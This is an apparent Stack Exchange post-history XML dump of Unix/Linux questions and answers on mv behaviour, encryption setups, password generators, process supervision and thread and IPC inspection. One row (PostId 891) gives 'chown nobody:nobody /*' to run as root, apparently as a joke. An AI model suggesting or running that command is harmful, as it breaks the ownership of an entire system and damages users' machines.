  <row Id="1614" PostHistoryTypeId="2" PostId="870" RevisionGUID="2ac6843c-d756-43fe-9365-eab8c2fb7d8d" CreationDate="2010-08-20T09:53:31.323" UserId="250" Text="Hello, I have a little question here.&#xD;&#xA;&#xD;&#xA;If I have two files, say `filea` and `fileb`, `mv filea fileb` would&#xD;&#xA;&#xD;&#xA; - delete `fileb`&#xD;&#xA; - rename `filea` to `fileb`&#xD;&#xA;&#xD;&#xA;Then if I have two directories, say `dira` and `dirb`, `mv dira dirb` would&#xD;&#xA;&#xD;&#xA; - move `dira` into `dirb` (it will become `dirb/dira`)&#xD;&#xA;&#xD;&#xA;Noting that in both cases there are no notice or message, then this is pretty inconsistent to me. I think `mv dira dirb` should just overwrite `dirb` with the contents of `dira` (or merge the two directories under a directory named `dirb`).&#xD;&#xA;&#xD;&#xA;I remember reading somewhere that a directory name with a slash (like `dira/`) is treated like a directory, and name with no slash (like `dira`) is treated like a file (to certain extents, of course). Anyway now I want to make the shell (zsh and possibly bash) respect my notation of a directory by using a slash. Is there a terminal option which enable me to enforce that?&#xD;&#xA;&#xD;&#xA;To clarify, here is my desired behaviour:&#xD;&#xA;&#xD;&#xA; - `mv dira dirb` results in `dirb` being overwritten with the contents of `dira`&#xD;&#xA; - `mv dira dirb/` results in `dira` being moved into `dirb` (in `dirb/dira`)&#xD;&#xA;&#xD;&#xA;Has anyone thought the same way as me? Or am I just weird?" />
  <row Id="1615" PostHistoryTypeId="1" PostId="870" RevisionGUID="2ac6843c-d756-43fe-9365-eab8c2fb7d8d" CreationDate="2010-08-20T09:53:31.323" UserId="250" Text="the slash (/) after a directory name on shell commands" />
  <row Id="1616" PostHistoryTypeId="3" PostId="870" RevisionGUID="2ac6843c-d756-43fe-9365-eab8c2fb7d8d" CreationDate="2010-08-20T09:53:31.323" UserId="250" Text="éterminalàédirectoryàéslashàérenameà" />
  <row Id="1617" PostHistoryTypeId="2" PostId="871" RevisionGUID="a7797bae-e840-45a8-a670-3662e13df82f" CreationDate="2010-08-20T09:59:09.507" UserId="873" Text="I've used [dwm][1] for a long time on my netbook. Its a tiling window manager written in about 2k lines of C. Configuration is done through rewriting config.h and making a changes here &amp; there to suit your needs, build again and install.&#xD;&#xA;&#xD;&#xA;Its _very_  _very_ light weight. [snapshot][2] netbook attached on 22&quot;.&#xD;&#xA;&#xD;&#xA;Take a look at [DWM showoff][3] on Arch BBS.&#xD;&#xA;&#xD;&#xA;[My Dwm config][4] - Alt+B - browser, Ctrl+Alt+{left/right/up/down} music, volume control, etc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dwm.suckless.org&#xD;&#xA;  [2]: http://is.gd/er1b8&#xD;&#xA;  [3]: https://bbs.archlinux.org/viewtopic.php?id=74599&#xD;&#xA;  [4]: http://github.com/ideamonk/dotfiles/blob/master/bin/dwm-5.8.2/config.h" />
  <row Id="1618" PostHistoryTypeId="2" PostId="872" RevisionGUID="2a72aa14-b95f-468e-9733-932c38729028" CreationDate="2010-08-20T10:08:18.927" UserId="592" Text="I've been using Debian with encrypted file system and swap on my notebook for three years without problems.&#xD;&#xA;&#xD;&#xA;It asks for the password early during the Linux boot and then continues to boot right into my desktop (I disabled the login dialog).&#xD;&#xA;&#xD;&#xA;The setup is roughly sda5 -&gt; sda5_crypt -&gt; physical volume dm-0 -&gt; volume group Linux -&gt; logical volumes /dev/Linux/root for / and /dev/Linux/swap for swap.&#xD;&#xA;&#xD;&#xA;Swap is encrypted to avoid leaking information.&#xD;&#xA;&#xD;&#xA;There is also an unencrypted 200MB boot partition for kernel, grub etc.&#xD;&#xA;&#xD;&#xA;I remember that it was a complicated dance in the Debian installer until I got this right.&#xD;&#xA;" />
  <row Id="1619" PostHistoryTypeId="2" PostId="873" RevisionGUID="5cb32f96-3a3e-48e0-b320-1257850b8cf1" CreationDate="2010-08-20T10:17:35.520" UserId="263" Text="Do you have administrative access to the machines? One could use an encrypted loopback device. Example:&#xD;&#xA;&#xD;&#xA;make a container file for the encrypted fs:&#xD;&#xA;dd if=/dev/zero of=container bs=1024k count=100 &#xD;&#xA;&#xD;&#xA;bind container file to loopback device 0: &#xD;&#xA;losetup container /dev/loop0&#xD;&#xA;&#xD;&#xA;create encrypted device (-y asks for passphrase twice): &#xD;&#xA;cryptsetup -c serpent-xts-essiv:sha256 -b 512 -y create container /dev/loop0 &#xD;&#xA;&#xD;&#xA;create ext2 filesystem on encrypted device (can use anything really):&#xD;&#xA;mkfs.ext2 /dev/mapper/container&#xD;&#xA;&#xD;&#xA;mounts encrypted filesystem to crypt directory: &#xD;&#xA;mount /dev/mapper/container crypt&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;man cryptsetup &amp;&amp; man losetup&#xD;&#xA;&#xD;&#xA;Also, read up on cryptography best practises, for information on choosing cipher and key lengths to use etc." />
  <row Id="1620" PostHistoryTypeId="2" PostId="874" RevisionGUID="ad84f46c-9415-4c39-adad-bf21d94a2820" CreationDate="2010-08-20T10:22:52.467" UserId="601" Text="Yes, this is a bit inconsistant, even within the GNU tools.&#xD;&#xA;&#xD;&#xA;One problem with your proposal is that non-empty directories can not be removed. Apart from that, -T (in GNU land, anyway) approximates what you want (the first case):&#xD;&#xA;&#xD;&#xA;    $ ls dira/ dirb/&#xD;&#xA;    dira/:&#xD;&#xA;    a&#xD;&#xA;    &#xD;&#xA;    dirb/:&#xD;&#xA;    b&#xD;&#xA;    $ mv -iT dira/ dirb/&#xD;&#xA;    mv: overwrite `dirb/'? y&#xD;&#xA;    mv: cannot move `dira/' to `dirb/': Directory not empty&#xD;&#xA;    $ rm dirb/b &#xD;&#xA;    $ mv -iT dira/ dirb/&#xD;&#xA;    mv: overwrite `dirb/'? y&#xD;&#xA;    $ ls dira/ dirb/&#xD;&#xA;    ls: cannot access dira/: No such file or directory&#xD;&#xA;    dirb/:&#xD;&#xA;    a&#xD;&#xA;" />
  <row Id="1621" PostHistoryTypeId="2" PostId="875" RevisionGUID="30c2f8ad-b6a1-4877-b31a-38b23eb68124" CreationDate="2010-08-20T10:38:32.523" UserId="57" Text="If you just want to move everything from dira to dirb you can run `mv dira/* dirb`.&#xD;&#xA;&#xD;&#xA;As per mv man page on my HP-UX.&#xD;&#xA;&#xD;&#xA;`The mv command moves:`&#xD;&#xA;&#xD;&#xA;` +  One or more directory subtrees (directory1, [directory2, ...])&#xD;&#xA;    to a new or existing directory (dest-directory).`" />
  <row Id="1622" PostHistoryTypeId="2" PostId="876" RevisionGUID="e2f3b29b-ad42-4b69-9cb5-8069ef783e4b" CreationDate="2010-08-20T10:43:31.760" UserId="876" Text="I found that the [Advanced Scripting Guide][1] was an excellent resource for shell scripting.&#xD;&#xA;&#xD;&#xA;Reading through it and trying all the examples got me from someone who could just about navigate around the directory tree to someone who has a pretty good grasp of home to use the shell to do pretty much anything.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/advancedbashscriptingguide/" />
  <row Id="1623" PostHistoryTypeId="2" PostId="877" RevisionGUID="a707936e-2765-4b3b-8b55-afa33117c27c" CreationDate="2010-08-20T11:15:04.147" UserId="665" Text="Ok, is there some kind of pwd generator for linux like this one for Windows that has a nice GUI and options like this win-version has? I know that there is pwgen but as far as I know it does not support mouse/keyboard entrophy and it does not have any kind of front end GUI-s.. or does it?&#xD;&#xA;&#xD;&#xA;http://pwgen-win.sourceforge.net/&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1624" PostHistoryTypeId="1" PostId="877" RevisionGUID="a707936e-2765-4b3b-8b55-afa33117c27c" CreationDate="2010-08-20T11:15:04.147" UserId="665" Text="Something like pwgen-win for linux?" />
  <row Id="1625" PostHistoryTypeId="3" PostId="877" RevisionGUID="a707936e-2765-4b3b-8b55-afa33117c27c" CreationDate="2010-08-20T11:15:04.147" UserId="665" Text="ésecurityàépasswordà" />
  <row Id="1626" PostHistoryTypeId="2" PostId="878" RevisionGUID="8b873713-4806-4347-a6ec-bdf363d6740c" CreationDate="2010-08-20T11:43:49.027" UserId="690" Text="[KeePass][1] (and KeePassX) are password safes but also allow you to generate passwords using keyboard and mouse entropy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://keepass.info/" />
  <row Id="1627" PostHistoryTypeId="2" PostId="879" RevisionGUID="d3299d62-6277-47ea-8d46-3dcf453473c3" CreationDate="2010-08-20T11:44:20.693" UserId="850" Text="Well, pwgen for Linux uses /dev/urandom. It's not so bad (/dev/random would be better).&#xD;&#xA;&#xD;&#xA;If you want a GUI there's jpasswordgen (http://sourceforge.net/projects/jpasswordgen/) in Java, so it works everywhere.&#xD;&#xA;&#xD;&#xA;IMHO, I don't the usefulness in using a GUI for this. The goal is to get passwords, and pwgen can even generate nicely formatted lists of passwords.&#xD;&#xA;" />
  <row Id="1628" PostHistoryTypeId="5" PostId="877" RevisionGUID="c2baf464-77c8-4c21-836a-499b5d0e5eb9" CreationDate="2010-08-20T11:46:58.133" UserId="665" Comment="deleted 1 characters in body" Text="Ok, is there some kind of pwd generator for linux like this one for Windows that has a nice GUI and options like this win-version has? I know that there is pwgen but as far as I know it does not support mouse/keyboard entropy and it does not have any kind of front end GUI-s.. or does it?&#xD;&#xA;&#xD;&#xA;http://pwgen-win.sourceforge.net/&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1629" PostHistoryTypeId="2" PostId="880" RevisionGUID="b10e4df7-73c1-4186-b701-5f7a0100135f" CreationDate="2010-08-20T11:50:16.133" UserId="880" Text="As the title really. I've actually got two scenarios to apply this:&#xD;&#xA;&#xD;&#xA; 1. Multiseat Desktop: two network connections both with internet gateways and two accounts doing bandwidth-intensive tasks on each. I want to split them up so one account only uses eth0 and the second account only uses eth1.&#xD;&#xA;&#xD;&#xA; 2. Server: I have two IPs on a server and I want to make sure the mail user only sends email from the second IP (eth0:1 alias)&#xD;&#xA;&#xD;&#xA;The second can probably be IPTabled (I just don't know how) to route email traffic through that interface but the first will be dealing with all sorts of traffic so needs to be user-based. If there is a user-based solution, I could apply this in both places." />
  <row Id="1630" PostHistoryTypeId="1" PostId="880" RevisionGUID="b10e4df7-73c1-4186-b701-5f7a0100135f" CreationDate="2010-08-20T11:50:16.133" UserId="880" Text="Can I limit a user (and their apps) to one network interface?" />
  <row Id="1631" PostHistoryTypeId="3" PostId="880" RevisionGUID="b10e4df7-73c1-4186-b701-5f7a0100135f" CreationDate="2010-08-20T11:50:16.133" UserId="880" Text="énetworkingàéusersà" />
  <row Id="1632" PostHistoryTypeId="5" PostId="879" RevisionGUID="6c221b1b-a93e-4469-951b-e3a9df314dd3" CreationDate="2010-08-20T11:52:42.213" UserId="850" Comment="Added reference to APG; added 1 characters in body; added 4 characters in body" Text="Well, pwgen for Linux uses /dev/urandom. It's not so bad (/dev/random would be better). A better one is APG (http://www.adel.nursat.kz/apg/) that optionally uses /dev/random and asks for keyboard input to randomize even more.&#xD;&#xA;&#xD;&#xA;If you want a GUI there's jpasswordgen (http://sourceforge.net/projects/jpasswordgen/) in Java, so it works everywhere.&#xD;&#xA;&#xD;&#xA;IMHO, I don't see  usefulness in using a GUI for this. The goal is to get passwords, and pwgen/apg can even generate nicely formatted lists of passwords.&#xD;&#xA;" />
  <row Id="1633" PostHistoryTypeId="2" PostId="881" RevisionGUID="698cec06-106f-4e41-a71f-f4773727d7ff" CreationDate="2010-08-20T11:56:52.303" UserId="880" Text="I started hosting sites a while back using Cherokee. For external sources (FastCGI, etc) it has an option to launch the process if it can't find one running on the designated socket or port. This is great because it means if PHP or a Django site falls over (as they occasionally do) it restarts it automatically.&#xD;&#xA;&#xD;&#xA;On a new server using PHP-FPM I couldn't use Cherokee (it has a bug with PHP) so I've moved to NGINX. I really like NGINX (for its config style) but I'm having serious issues with processes falling over and never respawning. PHP does this sometimes but Django sites are more of a problem. I've created init scripts for them and they come up on boot but this doesn't help me if they conk out between reboots.&#xD;&#xA;&#xD;&#xA;I guess I'm looking for a FastCGI proxy. Something that, like Cherokee, knows what processes should be running on which sockets/ports and respawns them on-demand. Does such a thing exist? Is there any way to build this into NGINX (for ease of config)?" />
  <row Id="1634" PostHistoryTypeId="1" PostId="881" RevisionGUID="698cec06-106f-4e41-a71f-f4773727d7ff" CreationDate="2010-08-20T11:56:52.303" UserId="880" Text="Ensure a process is always running" />
  <row Id="1635" PostHistoryTypeId="3" PostId="881" RevisionGUID="698cec06-106f-4e41-a71f-f4773727d7ff" CreationDate="2010-08-20T11:56:52.303" UserId="880" Text="éfastcgià" />
  <row Id="1636" PostHistoryTypeId="2" PostId="882" RevisionGUID="31ff1540-1703-462d-a4bb-dccbd5ddf855" CreationDate="2010-08-20T12:04:43.773" UserId="850" Text="You could also use ecryptfs, which is standard on Ubuntu and its derived distributions. That's what is used when the install process asks you if you want to crypt your home directory (http://www.linuxjournal.com/article/9400).&#xD;&#xA;The advantage of ecryptfs is that you don't need a separate partition, or a loopback mounted file to use it." />
  <row Id="1637" PostHistoryTypeId="2" PostId="883" RevisionGUID="74bc7762-86bd-44e1-a76b-8d4081348fe6" CreationDate="2010-08-20T12:16:43.837" UserId="606" Text="You could also give [Duckduckgo][1] a try. It is basically a search engine with many nice features, i.e. generating passwords: [strong password with 17 chars][2]. The best thing is: You can use it with any operating system. :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://duckduckgo.com/&#xD;&#xA;  [2]: https://duckduckgo.com/?q=!pw+17+strong" />
  <row Id="1638" PostHistoryTypeId="2" PostId="884" RevisionGUID="c113b6b2-5630-4cc5-84e2-2bf3285081b4" CreationDate="2010-08-20T12:19:16.423" UserId="850" Text="I'm not sure that's possible for the first point. You want to do some routing manipulation based on the userid of the user. Last time I check I didn't see this possibility.&#xD;&#xA;&#xD;&#xA;For the second point, that's not iptables that you want to use but iproute2 (http://lartc.org/howto/ and http://www.policyrouting.org/iproute2.doc.html for the complete doc). It's the replacement for the ifconfig/route commands as they are considered obsolete.&#xD;&#xA;iproute2 allow yo to route packets according to its source. That's what you want" />
  <row Id="1639" PostHistoryTypeId="2" PostId="885" RevisionGUID="bff7b777-7040-43b2-b0f3-167929fdeb97" CreationDate="2010-08-20T12:31:40.107" UserId="910" Text="How about [http://cr.yp.to/daemontools.html][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cr.yp.to/daemontools.html" />
  <row Id="1640" PostHistoryTypeId="5" PostId="647" RevisionGUID="2f2517f9-a5dc-4bfb-964b-4e36fa4cba12" CreationDate="2010-08-20T12:38:16.773" UserId="394" Comment="clarification of question." Text="At work we do a nightly dump of our mysql databases. From day to day, I would guestimate that close to 90-95% of the data is duplicate, increasing as time goes on. ( Heck at this point some are probably 99% )&#xD;&#xA;&#xD;&#xA;These dumps are where one line is a single mysql INSERT statement, so the only differences are whole lines, and the order in which they're in in the file. If I got them sorted, the actual difference from file to file would be very small. &#xD;&#xA;&#xD;&#xA;I've been looking, and I haven't found any way to sort the output on dump. I could pipe it through the `sort` command, though. Then there would be long, long blocks of identical lines. &#xD;&#xA;&#xD;&#xA;So I'm trying to figure a way to store only the diffs. I could start with a master dump, and diff against that each night. But the diffs would be larger each night. Or, I could make rolling diffs, which individually would be very small, but seems like it would take longer and longer to compute, if I have to put together a master diff of the whole series each night. &#xD;&#xA;&#xD;&#xA;Is this feasible? With what tools?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Edit** I'm not asking how to do mysql backups. Forget mysql for the moment. It's a red herring. What I'm wanting to know is how to make a series of rolling diffs from a series of files. Each night we get a file ( which *happens to be a mysqldump file* ) that is 99% similar to the one before it. Yes, we gzip them all. But it's redundant to have all that redundancy in the first place. All I really need is the differences from the night before... which is only 1% different from the night before... and so on. So what I'm after is how to make a series of diffs so I need only store that 1% each night." />
  <row Id="1641" PostHistoryTypeId="4" PostId="647" RevisionGUID="2f2517f9-a5dc-4bfb-964b-4e36fa4cba12" CreationDate="2010-08-20T12:38:16.773" UserId="394" Comment="clarification of question." Text="rolling diffs for storage of highly similar files?" />
  <row Id="1642" PostHistoryTypeId="2" PostId="886" RevisionGUID="3eff1586-c380-4abd-bf48-3a1a629cfcb1" CreationDate="2010-08-20T12:40:26.880" UserId="916" Text="I second the `daemontools` suggestion, but if you don't like the way DJB's software works (for whatever reason), there's also [`supervisord`][1].&#xD;&#xA;&#xD;&#xA;I set up a FreeBSD image a while back that used `supervisord` to manage `nginx` and [`gunicorn`][2], which I used to host some simple WSGI apps, and the whole process was pretty straightforward.&#xD;&#xA;&#xD;&#xA;If you're doing this for Django, Gunicorn makes it really straightforward to deploy Django apps, btw. See [this blog post][3] for more details.&#xD;&#xA;&#xD;&#xA;[1]: http://supervisord.org/&#xD;&#xA;[2]: http://gunicorn.org/&#xD;&#xA;[3]: http://ericholscher.com/blog/2010/aug/16/lessons-learned-dash-easy-django-deployment/" />
  <row Id="1643" PostHistoryTypeId="2" PostId="887" RevisionGUID="210bf31a-c39a-49ae-aed9-427866662bab" CreationDate="2010-08-20T12:41:11.343" UserId="27" Text="respawn in [inittab][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.about.com/od/commands/l/blcmdl5_inittab.htm" />
  <row Id="1644" PostHistoryTypeId="2" PostId="888" RevisionGUID="f10b6b70-69f4-4850-9887-84870324d2fa" CreationDate="2010-08-20T12:46:20.510" UserId="305" Text="I will take the liberty of adding one difference:&#xD;&#xA;&#xD;&#xA;tmux is ncurses based while screen does not draw additional elements. If someone use terminal emulator that supports scrolling (s)he will get scrolling with screen but not with tmux (at least in default configuration). The same thing applys for searching and similar features." />
  <row Id="1645" PostHistoryTypeId="2" PostId="889" RevisionGUID="8ff5d63a-93eb-4992-b2ed-06cd0e16003f" CreationDate="2010-08-20T12:57:31.270" UserId="885" Text="From a system administrator's point of view, I've found a few minor differences, mainly in the dpkg/rpm tool set rather than the package format.&#xD;&#xA;&#xD;&#xA;* `dpkg-divert` makes it possible to have your own file displace the one coming from a package. It can be a lifesaver when you have a program that looks for a file in `/usr` or `/lib` and won't take `/usr/local` for an answer. [The idea has been proposed, but as far as I can tell not adopted, in rpm.](http://rpm5.org/cvs/tktview?tn=5)&#xD;&#xA;&#xD;&#xA;* When I last administered rpm-based systems (which admittedly was years ago, maybe the situation has improved), rpm would always overwrite modified configuration files and move my customizations into `*.rpmsave` (IIRC). This has made my system unbootable at least once. Dpkg asks me what to do, with keeping my customizations as the default.&#xD;&#xA;&#xD;&#xA;* An rpm binary package can declare dependencies on files rather than packages, which allows for finer control than a deb package.&#xD;&#xA;&#xD;&#xA;* You can't install a version N rpm package on a system with version N-1 of the rpm tools. That might apply to dpkg too, except the format doesn't change as often.&#xD;&#xA;&#xD;&#xA;* The dpkg database consists of text files. The rpm database is binary. This makes the dpkg database easy to investigate and repair. On the other hand, as long as nothing goes wrong, rpm can be a lot faster (installing a deb requires reading thousands of small files).&#xD;&#xA;&#xD;&#xA;* A deb package uses standard formats (`ar`, `tar`, `gzip`) so you can inspect, and in a pinch tweak) deb packages easily. Rpm packages aren't nearly as friendly.&#xD;&#xA;" />
  <row Id="1646" PostHistoryTypeId="2" PostId="890" RevisionGUID="2d704454-435b-4672-b5d5-90cb7b90ebe1" CreationDate="2010-08-20T13:02:08.377" UserId="922" Text="The best resource for OS X internals is [Amit Singh's Mac OS X Internals][1]. It is astonishingly detailed, but unfortunately only covers OS X up to 10.4. Google books has a [preview][2].&#xD;&#xA;&#xD;&#xA;[Apple's documentation for OS X][3] is also a nice resource, and is obviously more up-to-date. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.osxbook.com/&#xD;&#xA;  [2]: http://books.google.com/books?id=K8vUkpOXhN4C&#xD;&#xA;  [3]: https://developer.apple.com/mac/library/documentation/MacOSX/Conceptual/OSX_Technology_Overview/About/About.html" />
  <row Id="1647" PostHistoryTypeId="2" PostId="891" RevisionGUID="fbff4d7c-a1ae-4f99-b86c-4fbfd9994a46" CreationDate="2010-08-20T13:05:48.027" UserId="625" Text="    chown nobody:nobody /*&#xD;&#xA;&#xD;&#xA;As root of course...." />
  <row Id="1648" PostHistoryTypeId="16" PostId="891" RevisionGUID="fbff4d7c-a1ae-4f99-b86c-4fbfd9994a46" CreationDate="2010-08-20T13:05:48.027" UserId="-1" />
  <row Id="1649" PostHistoryTypeId="2" PostId="892" RevisionGUID="d5713222-2c73-4c04-b5a7-caccf14b39c4" CreationDate="2010-08-20T13:12:35.317" UserId="912" Text="For Windows, I think [Process Explorer][1] shows you all the threads under a process.&#xD;&#xA;&#xD;&#xA;Is there a similar command line utility for Linux that can show me details about all the threads a particular process is spawning?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx" />
  <row Id="1650" PostHistoryTypeId="1" PostId="892" RevisionGUID="d5713222-2c73-4c04-b5a7-caccf14b39c4" CreationDate="2010-08-20T13:12:35.317" UserId="912" Text="Is there a way to see details of all the threads that a process has in Linux?" />
  <row Id="1651" PostHistoryTypeId="3" PostId="892" RevisionGUID="d5713222-2c73-4c04-b5a7-caccf14b39c4" CreationDate="2010-08-20T13:12:35.317" UserId="912" Text="écommandölineàéshellàéprocessà" />
  <row Id="1652" PostHistoryTypeId="2" PostId="893" RevisionGUID="5191c43f-5d05-44e9-bed0-f92230fad9ef" CreationDate="2010-08-20T13:17:13.313" UserId="912" Text="For intercepting/analyzing network traffic, we have a utility called [Wireshark][1]. &#xD;&#xA;&#xD;&#xA;**Do we have a similar utility for intercepting all the interprocess communication between any two processes in Unix/Linux?**&#xD;&#xA;&#xD;&#xA;I have created some processes in memory and I need to profile how they communicate with each other.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/" />
  <row Id="1653" PostHistoryTypeId="1" PostId="893" RevisionGUID="5191c43f-5d05-44e9-bed0-f92230fad9ef" CreationDate="2010-08-20T13:17:13.313" UserId="912" Text="Is there a way to intercept interprocess communication in Unix/Linux?" />
  <row Id="1654" PostHistoryTypeId="3" PostId="893" RevisionGUID="5191c43f-5d05-44e9-bed0-f92230fad9ef" CreationDate="2010-08-20T13:17:13.313" UserId="912" Text="élinuxàécommandölineàéunixàéshellàéprocessà" />
  <row Id="1655" PostHistoryTypeId="6" PostId="892" RevisionGUID="42935daf-9fbf-4c46-8968-143445372878" CreationDate="2010-08-20T13:21:05.787" UserId="912" Comment="edited tags" Text="élinuxàécommandölineàéunixàéshellàéprocessà" />
  <row Id="1656" PostHistoryTypeId="2" PostId="894" RevisionGUID="9e758b46-526e-46ac-ae8a-d3dba2476fdc" CreationDate="2010-08-20T13:21:30.733" UserId="669" Text="A folder I sometimes put on a separate partition is `/usr/local/` so that any software I've built and installed separately from my distro's package manager could possibly be re-used if I change/upgrade my distro or by another distro installed along side it. It's obviously not guaranteed to work across all possible combinations but it does no harm.&#xD;&#xA;" />
  <row Id="1657" PostHistoryTypeId="2" PostId="895" RevisionGUID="4a44bc13-bbc3-4e4f-b523-7a2e2ca8051a" CreationDate="2010-08-20T13:23:11.230" UserId="885" Text="It looks like what you're after is not a way to encrypt and decrypt directories, but a way to work with encrypted storage transparently. Note that the scheme you propose, with actual mass decryption and encryption, is not very secure: it leaves things unencrypted if you don't log out normally (power failure, system crash, stolen laptop...); and it leaves traces of your confidential data that a determined attacker could find (the data from erased files is still on the disk, just hard to find).&#xD;&#xA;&#xD;&#xA;Current Linux systems offer several ways to achieve transparent encryption. You can encrypt a whole volume with **dm-crypt** or one of its alternatives. There are several tools available to encrypt a specific directory tree, including **ecryptfs** (which works at the kernel level) and **encfs** (which works purely in userland via fuse). (The three I mention are available in Debian lenny and should be offered by all of your distributions.)&#xD;&#xA;&#xD;&#xA;You can set up the encrypted directories to be mounted when you log in either via PAM (`libpam-mount` package; recommended option for ecryptfs) or through your profile scripts (recommended option for encfs). Note that there is no problem with “forgetting to encrypt manually” since nothing is ever written unencrypted to the disk.&#xD;&#xA;&#xD;&#xA;For best protection, you should encrypt not just your confidential files, but also other places where confidential data may be stored by programs. At least, you should encrypt your swap partition. Other places to watch include `/tmp` (best solved by making it `tmpfs`), `/var/spool/cups` if you print confidential documents, and per-application files in your home directory such web caches/histories (e.g. `~/.mozilla`).&#xD;&#xA;" />
  <row Id="1658" PostHistoryTypeId="2" PostId="896" RevisionGUID="c56f0fbd-fb21-49ee-aeb8-a75ea944ca33" CreationDate="2010-08-20T13:44:18.120" UserId="57" Text="You can try `top -H -p &lt;pid&gt;`.  &#xD;&#xA;But please note on some Unix flavors '-H' option is not available in `top` command." />
  <row Id="1659" PostHistoryTypeId="2" PostId="897" RevisionGUID="90b30381-7b6c-4110-a253-7bcab7797a2f" CreationDate="2010-08-20T13:49:50.577" UserId="885" Text="If you put `set -x` in your `.profile` or `.bash_profile`, all subsequent shell commands will be logged to standard error and you can see if one of them sets these variables. You can put `set -x` at the top of `/etc/profile` to trace it as well. The output can be very verbose, so you might want to redirect it to a file with something like `exec 2&gt;/tmp/profile.log`.&#xD;&#xA;&#xD;&#xA;If your system uses PAM, look for `pam_env` load requests in `/etc/pam.conf` or `/etc/pam.d/*`. This module loads environment variables from the specified files, or from a system default if no file is specified (`/etc/environment` and `/etc/security/pam_env.conf` on Debian and Ubuntu). Another file with environment variable definitions on Linux is `/etc/login.defs` (look for lines beginning with `ENV_`).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1660" PostHistoryTypeId="5" PostId="865" RevisionGUID="971d08ee-60ce-4dd3-b430-9551477c3e9a" CreationDate="2010-08-20T14:00:07.920" UserId="690" Comment="added links to themes for Fluxbox and OpenBox" Text="For saving display space on a netbook, you may want to take a look at a **tiling window manager**, such as [wmii][1]. On my notebook, a venerable Thinkpad R50e, wmii proves *very* helpful.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;If you are more interested in minimalistic-looking themes, you could take a look at a [Themes pages for Fluxbox.][2] or one for [OpenBox][3]. As I recall, themes such as `Elfin2` are quite minimalistic and do *not* require any additional dependencies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wmii.suckless.org/&#xD;&#xA;  [2]: http://customize.org/fluxbox&#xD;&#xA;  [3]: http://customize.org/openbox" />
  <row Id="1661" PostHistoryTypeId="2" PostId="898" RevisionGUID="f55a3d98-3ffa-4881-943d-896e8498e641" CreationDate="2010-08-20T14:11:28.457" UserId="885" Text="This depends a lot on the communication mechanism.&#xD;&#xA;&#xD;&#xA;* At the most transparent end of the spectrum, processes can communicate using internet sockets (i.e. **IP**). Then wireshark or tcpdump can show all traffic by pointing it at the loopback interface.&#xD;&#xA;&#xD;&#xA;* At an intermediate level, traffic on **pipes** and **unix sockets** can be observed with `truss`/`strace`/`trace`/..., the Swiss army chainsaw of system tracing. This can slow down the processes significantly, however, so it may not be suitable for profiling.&#xD;&#xA;&#xD;&#xA;* At the most opaque end of the spectrum, there's shared memory. The basic operating principle of shared memory is that accesses are completely transparent in each involved process, you only need system calls to set up shared memory regions. Tracing these memory accesses from the outside would be hard, especially if you need the observation not to perturb the timing. You can try tools like the [Linux trace toolkit](http://en.wikipedia.org/wiki/Linux_Trace_Toolkit) (requires a kernel patch) and see if you can extract useful information; it's the kind of area where I'd expect Solaris to have a better tool (but I have no knowledge of it).&#xD;&#xA;&#xD;&#xA; If you have the source, your best option may well be to add tracing statements to key library functions. This may be achievable with `LD_PRELOAD` tricks even if you don't have the (whole) source, as long as you have enough understanding of the control flow of the part of the program that accesses the shared memory.&#xD;&#xA;" />
  <row Id="1662" PostHistoryTypeId="2" PostId="899" RevisionGUID="be6e8048-7108-4900-944b-0b960df9ae82" CreationDate="2010-08-20T14:29:10.903" UserId="73" Text="[htop](http://htop.sourceforge.net/), a curses version of top, has a display option for showing all the threads for each process in a tree view:&#xD;&#xA;&#xD;&#xA;![Screenshot of htop](http://mrozekma.com/so-htop.png)" />
  <row Id="1663" PostHistoryTypeId="2" PostId="900" RevisionGUID="7d2b7711-2e2c-43e9-a9bf-2e50e67d8963" CreationDate="2010-08-20T14:32:48.197" UserId="885" Text="Two backup tools that can store binary diffs are [rdiff-backup](http://rdiff-backup.nongnu.org/) and [duplicity](http://www.nongnu.org/duplicity/). Both are based on `librsync`, but above that they behave quite differently: rdiff-backup stores the latest copy and reverse diffs, while duplicity stores traditional incremental diffs, and they offer a different set of peripheral features.&#xD;&#xA;" />
  <row Id="1664" PostHistoryTypeId="5" PostId="688" RevisionGUID="24cc12d6-7dd5-4534-a302-999ad8c7baef" CreationDate="2010-08-20T14:36:14.307" UserId="73" Comment="added 15 characters in body; edited title" Text="`man -a &lt;xyz&gt;` opens all the man pages one by one which contain `xyz`.  &#xD;&#xA;On my unix servers `man -a &lt;xyz&gt;` doesn't work.   &#xD;&#xA;Is there any alternative for this on unix?&#xD;&#xA;" />
  <row Id="1665" PostHistoryTypeId="4" PostId="688" RevisionGUID="24cc12d6-7dd5-4534-a302-999ad8c7baef" CreationDate="2010-08-20T14:36:14.307" UserId="73" Comment="added 15 characters in body; edited title" Text="Any alternative of  &quot;man -a&quot; on UNIX?" />
